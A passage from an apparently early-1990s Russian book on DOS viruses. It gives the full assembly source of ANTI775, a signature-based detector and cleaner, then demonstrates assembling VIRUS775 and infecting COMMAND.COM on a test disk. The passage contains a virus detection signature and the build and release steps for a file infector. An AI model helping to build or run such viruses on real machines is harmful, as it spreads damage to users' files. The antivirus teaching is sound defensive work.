	mov	bx,HANDLE
	mov	cx,FLEN
	mov	dx,0
	cmp	FLEN,8001h	; If length of file < 32769,
	jb	READ_REST	; Read file in one step
	mov	cx,8000h
	push	ds
	mov	dx,0
	mov	ax,FSEG
	mov	ds,ax
	mov	ah,3Fh
	int	21h		; Read 32768 bytes from file to buffer
	pop	ds
	mov	cx,FLEN
	mov	dx,8000h
	sub	cx,8000h	; Prepare to read the rest of the file

READ_REST:
	mov	bx,HANDLE	; bx = HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax		; ds:dx - buffer address
	mov	ah,3Fh
	int	21h		; Read and store entire file
	pop	ds
	jne	CHECK_SIG
	jmp	ERR


Отметим некоторые особенности считывания файла в сегмент, отличный от текущего сегмента кода и данных нашего антивируса. Для того, чтобы считать файл в другой сегмент, сохраним в стеке текущее содержимое регистра ds (push ds), а затем поместим в этот регистр величину, полученную при запросе памяти у операционной системы и хранящуюся в слове по адресу FSEG. После считывания файла восстановим прежнее значение регистра ds (pop ds).

3.11 Ищем сигнатуру вируса

Как мы уже выяснили, знак '$' в конце файла не является сколько-нибудь надежным указателем на возможное присутствие нашего вируса в файле, поэтому сразу приступим к поиску сигнатуры. Для поиска сигнатуры вируса в файле, который уже считан в память, выберем следующий алгоритм. Сначала будем искать в тестируемом файле код 0FFh, который соответствует первому байту сигнатуры, а затем будем проверять следующие за этим кодом девять байт на соответствие остальным кодам сигнатуры вируса. Для поиска в другом сегменте, отличном от сегмента кода и данных антивируса, будем использовать регистр расширенного сегмента данных - es.

CHECK_SIG:
	mov	ax,FSEG
	mov	es,ax
	mov	di,0		; es:di - address of COM. file
	cld
	mov	cx,FLEN
	sub	cx,SIGL
	mov	al,0FFh		; al = FF (hexadecimal)

NEXT_FF:
	repne	scasb
	je	FOUND_FF

NO_FF:
	jmp	FIND_NEXT

FOUND_FF:
	push	cx		; Store counter for next 0FFh search
	push	di		; Store di for next 0FFh search
	dec	di		; es:di - address of 0FFh found
	mov	SIGO,di		; Store offset of 0FFh found
	lea	si,SIG		; ds:si - address of SIG string
	mov	cx,SIGL		; cx - Length of SIG string
 
	repe	cmpsb		; Compare SIG with string in file
	je	FOUND_SIG
	pop	di		; Restore di for next 0FFh dearch
	pop	cx		; Restore counter for next OFFh search
	jmp	NEXT_FF

FOUND_SIG:
	inc	FILES		; Count infected files
	lea	dx,WARNING
	mov	ah,09h
	int	21h		; Print warning message


Если сигнатура вируса найдена в тестируемом файле, антивирус выводит соответствующее сообщение и увеличивает счетчик зараженных файлов (метка FILES) на единицу. Заметим, что имя зараженного (тестируемого) файла мы храним не в конце программы-антивируса, где располагается его область данных, а в середине строки сообщения - для упрощения программирования. В этом случае без обработки строки, содержащей имя файла можно целиком вывести предупреждающее сообщение на экран. Однако в этом случае сообщения, включающие имена файлов, содержащие знак доллара '$', будут выводиться неправильно (т.к. знак доллара является признаком конца строки-сообщения для функции DOS 09h). Однако мы сознательно идем на такое упрощение, чтобы не запутывать читателя сложностями ввода-вывода на ассемблере. Чтобы правильно выводить имена файлов, не содержащих знак '$', необходимо каждый раз перед помещением в строку FNAME имени нового файла, предварительно заполнить ее (12 байт) пробелами, иначе в этой строке могут находиться "остатки" имен файлов, прочитанных ранее.

BLANK:
	mov	cx,12		; Width of file name field
	mov	bx,0

REP32:
	mov	FNAME[bx],32
 
	inc	bx
	loop	REP32		; Fill field with spaces
	cmp	MODE,1		; Was there 'q' in command line?
	je	CURE
	jmp	FIND_NEXT	; Do not cure!
WARNING	db	10,13,'File '
FNAME	db	12 dup (32),0	; File name ASCIIZ string
	db	' is infected by the 775 virus',10,13,'$'


3.12 Лечим зараженный файл

Итак, теперь, когда файл считан в память, в нем найдена сигнатура вируса и выдано сообщение о том, что файл с таким-то именем заражен, можно приступить к его лечению. Разумеется, антивирус предварительно проверит, дано ли ему такое задание (т.е. был ли задан в, командной строке параметр типа /q. Если да, то байт с именем MODE содержит единицу - и можно приступать к самому ответственному шагу, который начинается с метки CURE.

Прежде всего, отметим, что смещение первого байта сигнатуры вируса в тестируемом файле было сохранено по адресу SIGO. Таким образом, для того чтобы определить смещение, по которому хранятся прежние первые три байта нашего "пациента", достаточно прибавить к числу SIGO число SIGO3 (смещение первого из трех восстанавливаемых байт относительно адреса первого байта сигнатуры).

CURE:
	mov	bx,SIGO		; SIGO - offset of virus signature
	add	bx,SIGO3	; SIGO3 - 3 bytes relative to SIG
	mov	al,byte ptr es:[bx] ; es:bx - address of original 3 bytes
	mov	byte ptr es:[0],al
 
	mov	al,byte ptr es:[bx+1]
	mov	byte ptr es:[1],al
	mov	al,byte ptr es:[bx+2]
	mov	byte ptr es:[2],al	; Three bytes were restored
	mov	bx,SIGFL
	add	bx,SIGO
	mov	ax,word ptr es:[bx] ; Store old Length of file to be cured
	mov	FLENOLD,ax


Аналогичным образом вычисляется смещение, по которому хранится прежняя длина файла, который мы "лечим": к числу SIGFL (смещение слова, в котором хранится длина файла, относительно первого байта сигнатуры) прибавляем число SIGO (смещение первого байта сигнатуры вируса в файле).

3.13 Записываем вылеченный файл

Простая, казалось бы операция - запись вылеченного файла на диск - на самом деле требует несколько более подробного рассмотрения. И вот почему. В нашем случае нам "повезло": вирус хранил прежнюю длину файла-жертвы в своей области данных. Поэтому для того чтобы определить, какую часть вылеченного файла записывать на диск, достаточно было прочитать эту величину из того места файла-жертвы, которое определяется после весьма нехитрых расчетов (см. выше). Как же быть, если вирус не хранит и, следовательно, не передает вместе с собой в заражаемый файл информацию о его прежней длине? Ответ не столь сложен. В этом случае достаточно воспользоваться информацией о смещении первого байта сигнатуры относительно начала вируса (эта величина легко определяется с помощью любого отладчика), а затем "обрезать" обрабатываемый файл точно по началу кода вируса. К сожалению, в этом случае файл, зараженный вирусом, который перед дозаписью своего кода в "хвост" файла производит выравнивание адресов по границе параграфа (как наш вирус), будет иметь небольшой "хвостик", состоящий из мусора, оставленного вирусом (не более 15 байт).

SAVE_FILE:
	mov	cx,0
	mov	dx,0	; dx:cx - position of seek  pointer (0)
	mov	bx,HANDLE
	mov	ax,4200h
	int	21h	; Set seek pointer to start of file
	mov	cx,FLENOLD
	mov	bx,HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax
	mov	dx,0	; ds:dx - address of file in memory
	mov	ah,40h
	int	21h	; Write cured file to disk

CUT_FILE:
	mov	cx,0
	mov	ah,40h
	int	21h		; Cut file to new length
	pop	ds
	lea	dx,CURED
	mov	ah,09h
	int	21h		; Print "Cured" message
	jmp	FIND_NEXT
CURED	db	'File was successfuly cured...',10,13,'$'


После записи вылеченного файла на диск антивирус выдает соответствующее сообщение и, если в текущем каталоге имеются другие файлы, соответствующие шаблону, продолжает свою работу.

3.14 Антивирус "умывает руки"

Итак, хирургическая операция по восстановлению зараженного файла завершена: восстановлены первые три байта файла, отрезан "хвост", в котором притаился вирус...

Теперь достаточно привести блок, который берет на себя обработку ошибок DOS (громко сказано, поскольку наш антивирус вместо обработки ошибок просто завершает работу) - и наш труд почти завершен.

ERR:
	lea	dx,NOMORE
	mov	ah,09h
	int	21h
	mov	al,2		; Return code 2 (Error, no files found)
	jmp	TO_DOS
NOMORE	db	10,13,'Can not find infected .COM files...',10,13,'$'

EXIT:
	cmp	FILES,0
	je	NOFILES

FNUM_OUT:
	mov	al,FILES
	add	al,30h
	mov	ah,0Eh
	int	10h		; Print number of files (0-9)
	lea	dx,MSGC
	cmp	MODE,1		; If MODE=1, mode is "cure"
	je	MSGCF
	lea	dx,MSGF

MSGCF:
 
	mov	ah,09h
	int	21h		; Print 'File(s) cured' message
	mov	al,1		; Return  code 1 (found infected files)
	jmp	TO_DOS
MSGC	db	' File(s) cured',10,13,'$'
MSGF	db	' Filets) infected',10,13,'S'

NOFILES:
	lea	dx,GOODBY
	mov	ah,09h
	int	21h
	mov	al,0		; Return  code 0 (Ho files infected)
	jmp	TO_DOS
GOODBY	db	10,13,'No infected files found...',10,13,'$'

TO_DOS:
	cmp	HANDLE,0FFFFh
	je	TERMINATE

CLOSE_FILE:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h

TERMINATE:	; Free allocated memory
	mov	ah,4Ch
	int	21h		; Terminate program (al - return code)


Приведенный выше блок, помимо обработки ошибок, выполняет также следующие функции:
  1. выдает сообщение о том, что зараженных файлов найдено не было;
  2. устанавливает коды возврата, которые могут быть использованы при запуске антивируса из пакетных (BAT) файлов;
  3. выдает сообщение о количестве зараженных и вылеченных файлов;
  4. закрывает открытые файлы;
  5. высвобождает выделенную программе память;
  6. обеспечивает выход в DOS.
Теперь мы можем привести полный текст написанной нами программы, антивируса и фага. Кроме того, настало время сказать, почему наш вирус называется VIRUS775, а антивирус - соответственно ANTI775. Дело в том, что мы, в отступление от общепринятой практики, когда вирусу присваивают код, равный минимальному приращению длины заражаемого файла, решили назвать его в соответствии с длиной кода запускающей вирус программы. А исполняемый код этой программы занимает как раз 775 байт. Вот и весь секрет.

3.15 Текст программы ANTI775.ASM

	.8086
	PAGE	,132
;****************************************************************
; ANTI775.ASM - program to find files infected by the "775" virus
;          and to restore these files in their original state
;****************************************************************
CSEG	segment
	assume cs:CSEG,ds:CSEG,es:CSEG
	org 100h

START:
	mov	SIG[10],0FFh		; Completes SIG string

READ_PARAM:
	cmp	byte ptr cs:[80h],0
	je	FIND_MODE	; If no parameters, "find" mode
	mov	ax,ds
	mov	es,ax
	cld
 
	mov	al,'q'	; 'q' - "find & cure mode" (MODE=1)
	mov	ch,0
	mov	cl,cs:[80h]	; Length of UPA (from PSP)
	mov	di,81h		; Offset  of UPA (from PSP)
	repne	scasb
	je	CURE_MODE

FIND_MODE:
	mov	MODE,0
	jmp	ALLOC_MEM

CURE_MODE:
	mov	MODE,1

ALLOC_MEM:
	mov	ax,ds
	mov	es,ax
	mov	bx,1100h	; Reallocate 68 К bytes
	mov	ah,4Ah
	int	21h
	jnc	ALLOCATED

NOT_ALLOCATED:
	lea	dx,NO_MEM
	mov	ah,09h
	int	21h		; Print  a message
	jmp	TO_DOS
NO_MEM	db	10,13,'Insufficient memory to run ANTI775',10,13,'$'

ALLOCATED:
	lea	ax,LBL
	mov	cl,4
	shr	ax,cl
	inc	ax
	mov	bx,ds
	add	ax,bx
	mov	FSEG,ax		; Segment of program in memory

FIND_FIRST:
	lea	dx,FMASK	; Mask of file name
 
	mov	cx,00100111b	; arc,dir,voL,sys,hid,r/o
	mov	ah,4Eh
	int	21h
	jnc	STORE_FNAME
	jmp	EXIT

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh	; Note that file was closed
	mov	ah,4Fh
	int	21h		; Find next file
	jnc	STORE_FNAME
	jmp	EXIT

STORE_FNAME:
	mov	bx,0

NEXT_SYM:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng	NEXT_SYM
	jmp       ERR

SET_ATTRIB:
	lea	dx,FNAME
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set file attributes
	jnc	READ_HANDLE
	jmp	ERR

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/wite mode
 
	int	21h		; Open a file (handle is in ax)
	jnc	READ_FLEN
	jmp	ERR

READ_FLEN:
	mov	HANDLE,ax	; Store handle number
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	ax,4202h	; Get program length in dx:ax
	int	21h
	mov	FLEN,ax
	cmp	dx,0
	je	SET_FSTART
	mov	FLEN,0FFFEh

SET_FSTART:
	mov	bx,HANDLE
	mov	cx,0
	mov	dx,0
	mov	ax,4200h
	int	21h		; Set seek pointer to start of file

READ_FILE:
	mov	bx,HANDLE
	mov	cx,FLEN
	mov	dx,0
	cmp	FLEN,8001h	; If length of file < 32769,
	jb	READ_REST	; Read file in one step
	mov	cx,8000h
	push	ds
	mov	dx,0
	mov	ax,FSEG
	mov	ds,ax
	mov	ah,3Fh
	int	21h		; Read 32768 bytes from file to buffer
	pop	ds
	mov	cx,FLEN
	mov	dx,8000h
	sub	cx,8000h	; Prepare to read the rest of the file
 
READ_REST:
	mov	bx,HANDLE	; bx = HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax		; ds:dx - buffer address
	mov	ah,3Fh
	int	21h		; Read and store entire file
	pop	ds
	jne	CHECK_SIG
	jmp	ERR

CHECK_SIG:
	mov	ax,FSEG
	mov	es,ax
	mov	di,0		; es:di - address of COM. file
	cld
	mov	cx,FLEN
	sub	cx,SIGL
	mov	al,0FFh		; al = FF (hexadecimal)

NEXT_FF:
	repne	scasb
	je	FOUND_FF

NO_FF:
	jmp	FIND_NEXT

FOUND_FF:
	push	cx		; Store counter for next 0FFh search
	push	di		; Store di for next 0FFh search
	dec	di		; es:di - address of 0FFh found
	mov	SIGO,di		; Store offset of 0FFh found
	lea	si,SIG		; ds:si - address of SIG string
	mov	cx,SIGL		; cx - Length of SIG string
	repe	cmpsb		; Compare SIG with string in file
	je	FOUND_SIG
	pop	di		; Restore di for next 0FFh dearch
	pop	cx		; Restore counter for next OFFh search
	jmp	NEXT_FF

FOUND_SIG:
 
	inc	FILES		; Count infected files
	lea	dx,WARNING
	mov	ah,09h
	int	21h		; Print warning message

BLANK:
	mov	cx,12		; Width of file name field
	mov	bx,0

REP32:
	mov	FNAME[bx],32
	inc	bx
	loop	REP32		; Fill field with spaces
	cmp	MODE,1		; Was there 'q' in command line?
	je	CURE
	jmp	FIND_NEXT	; Do not cure!
WARNING	db	10,13,'File '
FNAME	db	12 dup (32),0	; File name ASCIIZ string
	db	' is infected by the 775 virus',10,13,'$'

CURE:
	mov	bx,SIGO		; SIGO - offset of virus signature
	add	bx,SIGO3	; SIGO3 - 3 bytes relative to SIG
	mov	al,byte ptr es:[bx] ; es:bx - address of original 3 bytes
	mov	byte ptr es:[0],al
	mov	al,byte ptr es:[bx+1]
	mov	byte ptr es:[1],al
	mov	al,byte ptr es:[bx+2]
	mov	byte ptr es:[2],al	; Three bytes were restored
	mov	bx,SIGFL
	add	bx,SIGO
	mov	ax,word ptr es:[bx] ; Store old Length of file to be cured
	mov	FLENOLD,ax

SAVE_FILE:
	mov	cx,0
	mov	dx,0	; dx:cx - position of seek  pointer (0)
	mov	bx,HANDLE
 
	mov	ax,4200h
	int	21h	; Set seek pointer to start of file
	mov	cx,FLENOLD
	mov	bx,HANDLE
	push	ds
	mov	ax,FSEG
	mov	ds,ax
	mov	dx,0	; ds:dx - address of file in memory
	mov	ah,40h
	int	21h	; Write cured file to disk

CUT_FILE:
	mov	cx,0
	mov	ah,40h
	int	21h		; Cut file to new length
	pop	ds
	lea	dx,CURED
	mov	ah,09h
	int	21h		; Print "Cured" message
	jmp	FIND_NEXT
CURED	db	'File was successfuly cured...',10,13,'$'

ERR:
	lea	dx,NOMORE
	mov	ah,09h
	int	21h
	mov	al,2		; Return code 2 (Error, no files found)
	jmp	TO_DOS
NOMORE	db	10,13,'Can not find infected .COM files...',10,13,'$'

EXIT:
	cmp	FILES,0
	je	NOFILES

FNUM_OUT:
	mov	al,FILES
	add	al,30h
 
	mov	ah,0Eh
	int	10h		; Print number of files (0-9)
	lea	dx,MSGC
	cmp	MODE,1		; If MODE=1, mode is "cure"
	je	MSGCF
	lea	dx,MSGF

MSGCF:
	mov	ah,09h
	int	21h		; Print 'File(s) cured' message
	mov	al,1		; Return  code 1 (found infected files)
	jmp	TO_DOS
MSGC	db	' File(s) cured',10,13,'$'
MSGF	db	' Filets) infected',10,13,'S'

NOFILES:
	lea	dx,GOODBY
	mov	ah,09h
	int	21h
	mov	al,0		; Return  code 0 (Ho files infected)
	jmp	TO_DOS
GOODBY	db	10,13,'No infected files found...',10,13,'$'

TO_DOS:
	cmp	HANDLE,0FFFFh
	je	TERMINATE

CLOSE_FILE:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h

TERMINATE:	; Free allocated memory
	mov	ah,4Ch
	int	21h		; Terminate program (al - return code)

MODE	db	0	; 0 - find, 1 - find & cure
FILES	db	0	; Number of infected files
SIG	db	0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
	db	0	; Virus signature (last byte)
SIGL	equ	$-SIG	; Length of SIG string
 
SIGO	dw	(?)	; Offset of SIG in file
SIGO3	dw	0BAh	; Offset of old 3 bytes relative to SIG
SIGFL	dw	0B1h	; Offset of old file length relative to SIG
FMASK	db	'*.COM',0h	; File name mask
FLEN	dw	(?)	; Current length af tested file
FLENOLD	dw	(?)	; Old length of file to be cured
HANDLE	dw	0FFFFh	; File handle number
ATTRIB	db	(?)	; File attribute
FSEG	dw	(?)	; Segment to store file
LBL	db	'$'	; Security label
CSEG	ends
	end START


Глава 4. Кто выиграет войну?

Было бы нечестно по отношению к читателю, потратившему столько внимания и усилий при прочтении первых трех глав нашей книги, если бы мы не показали наши программы в действии (насколько это вообще возможно в отсутствие компьютера).

Вероятно, для неискушенных пользователей стоит кратко рассказать о процессе создания исполняемых программ из наших текстов на языке ассемблера. Пусть программа-вирус записана в файл с именем VIRUS775.ASM, а программа-антивирус записана в файл ANTI775.ASM. Покажем на примере первой из этих программ процесс трансляции ассемблерного текста и создания .COM-файла.

4.1 Создаем исполняемые программы

Прежде всего, скопируем файл VIRUS775.ASM в тот каталог, где у нас находится пакет программ ассемблера. Теперь в ответ на системный запрос DOS подадим команду masm virus775.asm и правильно ответим на все вопросы ассемблера. При этом на экране дисплея результаты работы ассемблера отразятся следующим образом.

C:MASM.50>masm virus775.asm
Microsoft (R) Macro Assembler Version 5.00
Copyright (C) Microsoft Corp 1981-1985, 1987. All rights reserved.

Object filename [virus775.OBJ]:
Source listing [NUL.LST]: virus775.lst
Cross-reference [NUL.CRF]:

  50666 + 314342 Bytes symbol space free

     0 Warning Errors
     0 Severe Errors


Мы получили два необходимых нам файла: VIRUS.OBJ (объектный модуль) и VIRUS775.LST (листинг программы VIRUS775.ASM, приведенный в предыдущей главе. Теперь пора дать работу редактору связей (компоновщику).

С:MASM.50>link virus775.obj
Microsoft (R) Overlay Linker Version 3.60
Copyright (C) Microsoft Corp 1983-1987. All rights reserved.

Run File [VIRUS775.EXE]:
List File [NUL.MAP]:
Libraries [.LIB]:
LINK : warning L4021: no stack segment


Результатом работы редактора связей, или, как его еще называют, компоновщика, является файл VIRUS775.EXE.

Наконец, для получения перемещаемого двоичного файла VIRUS775.COM необходимо "обработать" файл VIRUS775.EXE с помощью программы exe2bin:

C:MASM.50>exe2bin virus775.exe virus775.com


Теперь скопируем все файлы с именем VIRUS775 в подкаталог C:VIRUS и посмотрим, что у нас получилось в результате всех описанных операций.

C:VIRUS>dir

 Volume in drive C is COMPILERS
 Directory of C:VIRUS

VIRUS775  ASM     4418   6-24-91   9:18p
VIHUS775  LSI    12132   7-08-91   5:56p
VIHUS775  OBJ      928   7-08-91   5:56p
VIRUS775  EXE     1543   7-08-91   5:56p
VIRUS775  COM      775   7-08-91   5:56p
         5  Files(s) 7632896 bytes free


Аналогичным образом, повторив все описанные шаги для файла ANTI775.ASM, получим перемещаемый двоичный файл ANTI775.COM.

Итак, мы воспользовались имеющимся под рукой ассемблером, затем программой exe2bin и получили две программы: virus775.com и anti775.com. Первая имеет длину 775 байт, а вторая (если Вы не вносили в нее своих изменений) - 840 байт.

4.2 Заражаем COMMAND.COM

Теперь можно начать самое интересное - проверку созданных нами программ в действии. Чтобы не заставлять беспокоиться ту часть наших читателей, которые имеют слабые нервы, мы будем проводить наши эксперименты с вирусом на отдельной дискете. Для этого создадим на ней подкаталог с именем VIRUS и скопируем туда три файла: VIRUS775.COM, ANTI775.СОМ и COMMAND.COM. Подадим команду dir и запомним размеры указанных файлов.

A:VIRUS>dir

 Volume in drive A is TEST
 Directory of  A:VIRUS

.            <DIR>       6-24-91   9:10p
..           <DIR>       6-24-91   9:10p
V1RUS775  COM      775   6-24-91   9:18p
ANTI775   COM      840   6-24-91   9:25p
COMMAND   COM    25308   8-29-88  12:00p
         5  file(s)  624704  bytes free

	Выпускаем вирус на свободу при помощи программы
VIRUS775.COM.

A:VIRUS>virus775

Hallo! I have got a virus for you!

A:VIRUS>


Как видим, вирус "сработал". Данное сообщение он выдает только в том случае, если заражает какой-либо файл, Проверим, действительно ли это COMMAND.COM.

A:VIRUS>dir

 Volume in drive A is TEST
 Directory of  A:VIRUS

.            <DIR>       6-24-91   9:10p
..           <DIR>       6-24-91   9:10p
V1RUS775  COM      775   6-24-91   9:18p
ANTI775   COM      840   6-24-91   9:25p
COMMAND   COM    26071   6-24-91   9:43p
         5  file(s)  624704  bytes free


Как видим, длина файла COMMAND.COM увеличилась с 25308 до 26071 байт (т.е. на 763 байта). Визуальный просмотр "хвоста" файла, например, с помощью программ NU или DISKEDIT показывает, что в конце файла COMMAND.COM появилась строка, которой наш вирус "пугает" пользователей. Теперь, если запускать зараженный COMMAND.COM, он будет заражать по очереди все программы, которые находятся в текущем каталоге, и каждый раз при этом будет выдавать пугающее сообщение. Если же подходящих программ не окажется, вирус будет "молчать".

4.3 Проверяем работу антивируса

Для начала запустим программу anti775.com без параметров, чтобы она лишь сообщила о зараженном файле, но не "лечила" его (напомним, что этот режим используется в программе anti775.com по умолчанию).

A:VIRUS>anti775

File COMMAND.COM is infected by the 775 virus
1 File(s) infected

A:>


Как видим, все в порядке: вирус найден, и правильно указан файл, содержащий его сигнатуру, COMMAHD.COM. Здесь сработала та часть антивируса, которую мы назвали детектором.

Запустим программу anti775.com с параметром /q. Теперь антивирус должен не только найти зараженный файл, но и "вылечить" его.

A:>anti775 /q

File COMMAND.COM is infected by the 775 virus
File was successfuly cured...
1 File(s) cured

A:>


Судя по выданному сообщению, COMMAND.COM успешно восстановлен. Проверим, как изменилась его длина.

C:VlRUS>dir

Volume in drive C is COMPILERS
Directory of C:VIRUS

             <DIR>       6-24-91   9:10p
             <DIR>       6-24-91   9:10p
VIRUS775  COM      775   6-24-91   9:18p
 
ANTI775   СОМ      840   6-24-91   9:25р
COMMAND   СОМ    25308   6-26-91  10:08р
         5 File(s)   7624704 bytes free


Длина вылеченного файла COMMAND.COM совпадает с его исходной длиной (до заражения вирусом). Последней проверкой может служить выполнение команды сравнения вылеченного файла COMMAND.COM и аналогичного файла в корневом каталоге диска C: - проведем эту проверку.

A:VIRUS>comp command.com c:command.com

A:VIRUSCOMMAND.COM and C:COMMAND.COM

Eof mark not found

Files compare ok

Compare more files (Y/N) n


Итак, мы можем принимать поздравления. Наш антивирус не только обнаруживает сигнатуру вируса в зараженном файле и сообщает об этом пользователю, но по нашему требованию восстанавливает зараженный файл, да так, что восстановленный файл не отличается от исходного "здорового" файла!

В заключение хочется обратить внимание читателей на весьма широкие возможности для модификаций и улучшений антивирусной программы (да и вируса, разумеется, тоже). Например, ни вирус, ни антивирус не проверяют, действительно ли заражаемый (зараженный) файл является файлом типа .COM, а не .EXE. Ведь DOS различает эти файлы не по расширению, по "подписи" .EXE-файла, т.е. по двум первые байтам (в файле типа .EXE должна стоять пара символов ASCII "MZ"). Однако совершенствовать и улучшать любой программный продукт можно до бесконечности, нашей же задачей являлось продемонстрировать лишь специфические черты технологии создания файловых .COM-вирусов и антивирусов (детекторов и фагов).

4.4 Вместо послесловия

Война вирусов и антивирусов - это борьба их создателей. К сожалению, создатели вирусов всегда имеют пренмущество во времени. Однако не стоит теряться и падать духом. Если не пренебрегать правилами вирусной безопасности и не перенасыщать безо всякой системы и проверки Ваш винчестер играми и другими программами с сомнительным происхождением, можно вполне выйти из этой борьбы если не победителем, то уж во всяком случае без существенных потерь. Например, у автора этой книги, который чуть ли не каждую неделю борется с вирусами, проникающими в компьютеры его друзей, за два последних года в результате применения системы мер безопасности не было замечено (тьфу-тьфу!) ни одного вируса. А если вирус все же появится, нужно быть во всеоружии. Именно на то, чтобы дать читателю в руки такое оружие или хотя бы познакомить с тем, как оно куется, и нацелена данная книга.

Удачи!

Аннотация литературы по компьютерным вирусам.
И.Ш.Карасик. Несколько слов о компьютерных вирусах. Интеркомпьютер, 1989, вып. 1, стр. 14-15.
Рассмотрена вирусная терминология, поясняется смысл таких терминов, как компьютерный вирус и червяк, троянская программа, бомба, репликация, заражение, размножение, инкубационный период. Кратко описаны действия вирусов разных типов.
И.Ш.Карасик. Типология вирусов. Интеркомпьютер, 1989, вып. 2, стр. 14-15.
Дано краткое описание принципов действия вирусов различных типов. В частности, интеллектуальных вирусов, системных вирусов, загрузочных вирусов, резидентных вирусов (эти понятия могут перекрываться) и др..
И.Ш.Карасик. Анатомия и физиология вирусов. Интеркомпьютер, 1990, вып. 1, стр. 39-47.
Приводится довольно подробное описание принципов действия вирусов, поражающих загрузчики (описаны правильные форматы и содержимое сектора ВРВ на дисках, размеченных различными программами), вирусов, поражающих системные файлы (Lehigh), вирусов общего назначения - COM и EXE вирусов, таких как Eddie (Dark Avenger), интеллектуальных вирусов и др.
Н.Н.Безруков. Классификация вирусов. Попытка стандартизации. Интеркомпьютер, 1990, вып. 2, стр. 37-39.
Предложены принципы построения классификации компьютерных вирусов при помощи классификационного кода и сигнатуры. Описаны примеры использования сигнатур вирусов в антивирусных программах (SCAN, VIRSCAN, Virus Locator). Показано, как можно использовать пакеты Norton Utilities и PC Tools для поиска сигнатур вирусов.
И.Ш.Кзрасик. Классификация антивирусных программ. Интеркомпьютер, 1990, вып. 2, стр. 40-45.
Описаны принципы действия антивирусных программ различных типов (детекторы, фаги, вакцины, программы слежения за состоянием файловой системы, резидентные программы-мониторы. Даны краткие характеристики программ-антивирусов (Aidstest, Antt-Kot, Diaglot, Doctor, Scan49, VR, CRCDOS, Vacsine 1.3, DLI), а также программ, демонстрации содержимого памяти ЭВМ (Mem, MapMem, VTSR, MI, PCStat, РСМар).
Ф.Н.Шерстюк. Вирусы и антивирусы на IBM-совместимых ПК. Интеркомпьютер, 1990, вып. 2, стр. 46-47.
Приводится несколько советов и рекомендаций по вирусной профилактике и "лечению" зараженных файлов. Рассмотрены некоторые специализированные (AidsTest, VDeath, Serum3, Anti-Kot) и универсальные (Anti4us, FluShot, CDM) антивирусные программы.
Н.Н.Безруков. Классификация вирусов. Попытка стандартизации. Интеркомпьютер, 1990, вып. 3, стр. 38-47.
Приведена подробная классификация вирусов по принципу действия, проявлениям и сигнатурам. Дан список дескрипторов и сигнатур распространенных файловых и загрузочных вирусов. Эти сведения могут быть использованы при написании антивирусных программ.
В.Б.Комягин. Антивирусная программа VP - Virus Protector. Интеркомпьютер, 1990, вып. 5, стр. 42-46.
Дано подробное описание и ассемблерный текст резидентной антивирусной программы-монитора.
Е.В.Касперский. Антивирусы. Интеркомпьютер, 1990, вып. 6, стр. 46-48.
Рассматриваются программные средства, применяемые при поиске вирусов, не обнаруживаемых существующими "стандартными" антивирусными программами: отладчики (Quad Analizer, Advanced Trace86, Fulscreen Debug); дизассемблеры (DisDoc, Sourcer, -D3); резидентные перехватчики прерываний (Anticor, -D, Defence); утилиты, отображающие содержимое и структуру оперативной памяти (Mapmem, MFT, -D). Даны рекомендации по борьбе с "интеллектуальными" вирусами, выполненными по Stealth-технологии.
А.Николаев. Осторожно - вирус! Компьютер пресс, 1990, вып. 6, стр. 3-16.
Приведен краткий экскурс в историю возникнонения вирусов, "троянских коней" и "мин замедленного действия". Рассмотрены основные типы вирусов (позиционно зависимые и позиционно независимые, резидентные, загрузочные), описаны виды их разрушительного действия (разрушение .ЕХЕ и .СОМ файлов, структуры диска, содержимого экрана, dBase-файлов и др.).
Д.Лозинскнй. Одна из советских антивирусных программ: AIDSTEST. Компьютер пресс, 1990, вып. 6, стр. 17-20.
Описана антивирусная программа aidstest.exe (версия от 06.03.90 на 22 вируса, длина 33187 байт). Приведены общие рекомендации по антивирусной профилактике. Описаны проявления различных версий вирусов Ball, Stoned (Marijuana), Vacsina, Yankee Doodle.
Е.Касперский. Компьютерные вирусы: предварительные соображения. Компьютер пресс, 1991, вып. 5, стр. 13-25.
Описаны свойства и приведена классификация (систематические и тривиальные названия, длины кода, способы репликации и др.) нескольких десятков вирусов: файловых и загрузочных. Приведен составленный автором каталог наиболее распространенных вирусов.
А.Кадлоф. Вирусы. Компьютер, 1990, вып. 1, стр. 44-49.
В популярной форме описаны принципы действия вирусов по аналогии с биологическими системами. Описаны проявления некоторых распространенных вирусов (СОМ-1701, СОМ-648, ЕХЕСОМ-1, ЕХЕСОМ-2, BOOTSYS) отмечены некоторые антивирусные программы для борьбы с этими вирусами.
П.Внук. 10 антивирусных заповедей. Компьютер, 1990, вып. 1, стр. 49.
Предложено 10 советов по антивирусной профилактике. Соблюдая описанные меры безопасности, можно существенно уменьшить вероятность неприятных последствий заражения Вашего компьютера вирусом.
М.Селль. Антивирусные программы. Компьютер, 1990, вып. 2, стр. 48-50.
Кратко описаны три метода программной защиты от вирусов, а также принципы действия вирусов (указано, что для вирусов характерны две стадии: размножение вируса и разрушение данных. На самом деле для многих вирусов существует также понятие латентного периода, когда вирус может в течение некоторого времени вообще не проявлять заметной активности до тех пор, пока не будет выполнено какое-то условие, например пятница совпадет с 13 числом месяца). Дан краткий обзор антивирусных программ (DProtect.com, HDSEntry.com, BomSquad.com, VtrBlock.exe, Anti4us2.exe, FluShot Plus).
В.Фигурнов. Защита от вирусов. Компьютер, 1991, вып. 1(4), стр. 22-23.
Сравниваются различные программные средства защиты от компьютерных вирусов (программы-детекторы, вакцины, фаги, ревизоры, резидентные фильтры). Предлагается стратегия многоуровневой защиты от вирусов, главное место в которой отводится архивированию информации.
И.Ш.Карасик. К вопросу о компьютерных вирусах. Мир ПК, 1989, вып. 3, стр. 127-131.
